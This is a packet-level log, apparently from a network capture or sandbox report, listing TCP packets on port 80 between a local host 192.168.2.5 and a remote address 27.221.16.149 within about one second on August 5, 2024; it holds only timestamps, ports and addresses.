Aug 5, 2024 11:59:48.334721088 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.334754944 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.334804058 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.334829092 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:48.334836960 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.334907055 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:48.339428902 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.339462042 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.339525938 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.339531898 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:48.339559078 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.339587927 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.339622974 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:48.344221115 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.344254971 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.344283104 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:48.344286919 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.344367027 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:48.344599962 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.344635010 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.344705105 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:48.349018097 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.349050999 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.349131107 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:48.349349976 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.349384069 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.349448919 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:48.353765965 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.353801012 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.353832006 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.353878975 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:48.354104042 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.354139090 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.354163885 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:48.358505964 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.358565092 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.358594894 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:48.358807087 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.358840942 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.358866930 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:48.363236904 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.363270044 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.363301992 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.363303900 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:48.363353014 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:48.363585949 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.363635063 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.363694906 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:48.368024111 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.368058920 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.368139029 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:48.368335962 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.368369102 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.368401051 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.368432045 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.368439913 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:48.368491888 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:48.372715950 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.372750998 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.372822046 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:48.372886896 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.372920036 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.372952938 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.372983932 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:48.373002052 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.373034000 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.373045921 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:48.373066902 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.373100042 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.373132944 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.373135090 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:48.373181105 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.373184919 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:48.373215914 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.373248100 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.373281002 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.373284101 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:48.373313904 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.373321056 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:48.373347044 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.373382092 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.373400927 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:48.373414040 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.373446941 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.373478889 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.373502970 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:48.373527050 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.373547077 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:48.373559952 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.373591900 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.373639107 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.373647928 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:48.373675108 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.373693943 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:48.426423073 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:48.588768959 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.588833094 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.588865042 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.588918924 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.588943005 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:48.588952065 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.588974953 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:48.589015961 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.589050055 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.589082956 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.589111090 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:48.589133978 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.589144945 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:48.589168072 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.589200974 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.589226961 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:48.589232922 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.589284897 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.589293003 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:48.589319944 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.589355946 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.589384079 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:48.589390039 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.589438915 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.589473009 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.589489937 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:48.589505911 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.589526892 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:48.589540958 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.589572906 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.589607000 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.589622021 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:48.589637995 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.589657068 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:48.589673996 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.589706898 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.589739084 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.589755058 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:48.589771986 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.589802027 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:48.589804888 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.589838028 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.589854956 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:48.589869976 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.589904070 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.589936972 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.589939117 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:48.589987040 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:48.589987040 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.590022087 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.590073109 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.590081930 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:48.590122938 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.590158939 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.590173960 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:48.590193033 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.590225935 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.590257883 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:48.590267897 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.590301037 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.590317965 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:48.590333939 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.590383053 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.590415955 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.590436935 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:48.590444088 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.590468884 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:48.590492964 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.590543032 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.590548992 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:48.590574980 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.590609074 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.590626001 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:48.590642929 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.590676069 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.590708017 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.590738058 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:48.590740919 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.590774059 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.590775967 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:48.590807915 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.590835094 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:48.590842009 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.590874910 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.590907097 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.590933084 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:48.590941906 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.590970993 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.590971947 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:48.591003895 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.591022968 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:48.591037989 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.591072083 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.591093063 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:48.592092991 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.592158079 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:48.592225075 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.592257977 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.592293024 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.592308998 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.592349052 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:48.592356920 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.592381954 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:48.592390060 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.592422962 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.592438936 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:48.592454910 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.592504978 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.592536926 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.592544079 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:48.592587948 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.592591047 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:48.592622042 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.592654943 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.592674971 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:48.592689037 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.592724085 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.592771053 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:48.592818022 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.592849970 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.592881918 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.592905998 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:48.592914104 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.592945099 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.592962027 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.592972040 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:48.592994928 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.593082905 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:48.902621031 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.902681112 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.902731895 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.902765036 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.902775049 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:48.902798891 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.902849913 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.902884960 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.902889013 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:48.902928114 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:48.902935028 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.902976036 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.903023958 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.903053999 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:48.903058052 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.903083086 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:48.903107882 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.903160095 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.903192043 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.903193951 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:48.903225899 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.903247118 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:48.903263092 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.903295994 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.903312922 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:48.903327942 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.903377056 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.903383017 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:48.903409004 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.903441906 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.903461933 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:48.903474092 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.903526068 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.903528929 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:48.903575897 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.903626919 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.903634071 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:48.903660059 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.903695107 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.903712988 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:48.903728008 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.903779030 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.903791904 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:48.903830051 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.903862000 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.903882980 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:48.903893948 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.903925896 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.903953075 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:48.903959036 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.903995037 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.904007912 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:48.904032946 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.904067039 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.904084921 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:48.904115915 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.904165983 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.904171944 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:48.904197931 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.904230118 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.904251099 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:48.904263020 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.904310942 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.904313087 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:48.904342890 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.904392004 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.904400110 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:48.904423952 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.904455900 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.904476881 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:48.904505968 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.904539108 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.904560089 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:48.904571056 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.904603958 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.904630899 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:48.904635906 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.904673100 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.904687881 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:48.904704094 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.904738903 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.904762983 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:48.904769897 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.904808044 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.904829979 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:48.904839039 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.904889107 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.904903889 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:48.904922962 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.904973984 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:48.904975891 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.905009031 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.905059099 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.905067921 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:48.905092001 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.905141115 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.905147076 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:48.905174971 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.905224085 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.905225992 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:48.905256987 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.905292034 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.905303001 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:48.905324936 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.905358076 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.905380964 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:48.905390024 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.905422926 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.905440092 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:48.905455112 CEST	80	49763	27.221.16.149	192.168.2.5
